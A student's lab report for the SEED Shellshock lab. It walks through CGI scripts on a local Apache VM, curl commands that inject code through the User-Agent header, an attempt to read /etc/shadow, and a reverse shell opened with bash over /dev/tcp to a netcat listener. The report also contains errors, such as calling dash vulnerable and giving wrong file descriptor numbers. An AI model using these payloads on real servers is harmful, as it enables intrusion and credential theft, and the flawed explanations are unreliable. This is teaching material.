Year and Semester	2018 FALL
Course Number	CS-336
Course Title	Intro. to Information Assurance
Work Number	LA-04
Work Name	Shell Shock
Work Version	Version 1
Long Date	Sunday, 11 November 2018
Author(s) Name(s)	Zane Durkin

Abstract

In this article I will be explaining in detail the Tasks I preformed during the SEED security lab4.

0 Lab environment

The shellshock vulnerability is an vulnerability that was discovered in bash in 2014 [1]. The seed Labs VM has be pre-built with an older, vulnerable version of bash which is accessible through the /bin folder. The file for the shellshock bash is bash_shellshock.
To start this lab, I will need to be using the vulnerable version of the shellshock lab. I can do so by running the following command:

```
/bin/bash_shellshock
```

0.1 Task 1: Determining Bash file

To start this lab I will create a way to determine if the current bash is vulnerable to the shellshock exploit. To determine the current bash file that is running, I can run the command echo $BASH
This will tell me which bash file I am currently running, when I'm in the shellshock bash it outputs

```
/bin/bash_shellshock
```

When in the original bash, it outputs

```
/bin/bash
```

1 Task 2: Create a basic cgi file

This lab will show how to exploit the shellshock attack on a remote server. Many web servers use CGI (a method for generating dynamic web content) which often require the use of shell scripts. Since the CGI programs will run a shell program, it invokes a new user shell from a remote computer. If the bash shell that is ran is vulnerable to the shell shock attack, it can be exploited to gain privileges on the server.
To start I will run a simple CGI program called myprog.cgi. This script looks as follows:

```
#!/bin/bash_shellshock

echo "Content-type: text/plain"
echo
echo
echo "hello world"
```

This script will use the bash_shellshock version of the bash shell, and it will echo hello world when ran. I created the file in the /usr/lib/cgi-bin directory (which is the default cgi directory for apache servers). Once this file was in the directory I can run it through the web browser

2 Task 3: Creating a more complex cgi file

In this task I will create a new script that will output a string to the CGI program. I will use the list of environment variables as a way to pass data to the bash program. The program will look as follows

```
#!/bin/bash_shellshock
echo "Content-type: text/plain"
echo
```

```
echo "****** Environment Variables ******"
strings /proc/$$/environ
```

This program will output all of the environment variables for the current process, such as the host name, remote address, query string, request method and much more.

3 Task 4: Attack with UPDATE statement

In this task I will attempt to run commands remotely on the server. Due to a bug in bash, when environment variables are loaded, they can be executed too. This creates a vulnerability to execute code on the shell's creation by setting the malicious code as a variable. This is the vulnerability that shellshock exploits. Since the cgi program retrieves it's variables from the apache program, and the apache program generates those variables from the http header requests, an attacker can inject malicious code in the http headers to set environment variables in the cgi program.
For this attack I will be setting the exploit code in the user-agent in a curl call as follows:

```
curl -A "() { echo hello; }; echo Content_type: text/plain; echo; /bin/cat /etc/ls -l "http://↩
    localhost/cgi-bin/env.cgi
```

This command will a run the ls -l command which will output the contents of the default directory for the given shell

```
curl -A "() { echo hello; }; echo Content_type: text/plain; echo; /bin/cat /etc/shadow" http://↩
    localhost/cgi-bin/env.cgi
```

This command will attempt to output the data inside of the /etc/shadow file on the server. This returns nothing in this command since the /etc/shadow file is not accessible by the user that the cgi program executes in.

4 Task 5: Preforming the attack

Now that I can execute commands on the remote server, I can create a shell and run commands through the shell. This is a tricky task because a bash shell requires

a stdin and stout. Which creates a problem when since I will not be able to send or receive data from the newly created shell. To allow the shell to send and receive data, I can set the stdin and stdout to use a tcp connection to my attacker device. Since I will be running this attack on a vm, I will use two separate terminals (one to listen for a connection, and one to run the curl command). I'll keep one terminal listening for incoming tcp connections on port 8080 using the netcat command

```
nc -l 8080 -v
```

Now that I have a terminal listening for the tcp connection, I can run my exploit to create a new shell, and have the tcp connection act as the input and output device. Since the stdin file is set by the file descriptor 1, and the stdout is set by the descriptor 2, and since I'm pushing the stdin to listen to the tcp connection, I can tell the server to use the same file descriptor for stdin as I use for stdout. This will tell the shell to listen for input and give output using the tcp connection to the attacker's device. This command will look as follows:

```
curl -A "() { echo hello; }; echo Content_type: text/plain; echo; /bin/bash -i > /dev/tcp↩
    /127.0.0.1/8080 http://localhost/cgi-bin/env.cgi
```

This command works to give me a shell that I can type and receive output from. I have the permissions of the www-data user, which is fairly limited.

5 Task 6: Trying the attack in the updated version of the bash

Since I've been able to exploit to vulnerability while running the attack in the /bin/bash_shellshock shell, I will try to run the program in the /bin/bash shell to see how it reacts.
I will run the same curl command that was executed in the Task 5, but in a patched bash version of bash.
Currently the server is set to run the dash shell when the apache server creates a shell, which is vulnerable to the shellshock attack. This means that regardless of what shell the attacker is running, the shell that the server is running will determine if the vulnerability is still there.

6 Fixing exploit

To fix this exploit I would suggest running an updated version of bash in the server so that the shellshock attack will be blocked. Currently the server runs the /bin/dash program (which is vulnerable) since it most likely uses a symbolic link to execute a shell rather than a direct link to get the bash shell

References

[1] Wenliang Du, S. U. Shellshock attack lab, 2016.